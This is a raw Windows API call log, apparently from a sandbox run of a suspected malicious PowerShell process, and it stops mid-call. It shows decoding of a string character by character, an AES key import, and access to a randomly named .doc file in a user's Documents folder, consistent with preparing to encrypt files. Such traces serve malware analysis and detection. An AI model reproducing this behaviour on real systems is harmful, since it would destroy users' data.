(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0130.398] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.398] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0130.398] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.398] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.398] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0130.398] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.398] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.398] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.398] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0130.398] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.399] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0130.399] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.399] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0130.399] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.399] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0130.399] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.400] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.400] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0130.400] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.400] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.400] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.400] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.400] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0130.400] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.400] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.400] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.400] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.400] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0130.400] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.400] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0130.400] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.401] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0130.401] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.401] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0130.401] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.401] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0130.401] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.401] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.402] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.402] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0130.402] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.402] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.402] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.402] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.402] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0130.402] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.402] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.402] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.402] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.402] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0130.402] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.402] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.402] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.402] SystemFunction041 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.403] SystemFunction040 (in: Memory=0x43839ec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43839ec) returned 0x0 [0130.403] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.403] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.403] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.403] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.403] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.403] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.403] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.404] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.404] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.404] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.404] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0130.405] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x43964e8) returned 1 [0130.405] CryptImportKey (in: hProv=0x43964e8, pbData=0x6aa711c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84c78) returned 1 [0130.406] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.406] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="瀔ڪ") returned 0x0 [0130.406] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.406] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.406] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.408] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0130.408] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0130.408] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.408] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.408] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.409] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.409] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.410] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.410] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.410] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.410] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.410] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.410] CreateFileW 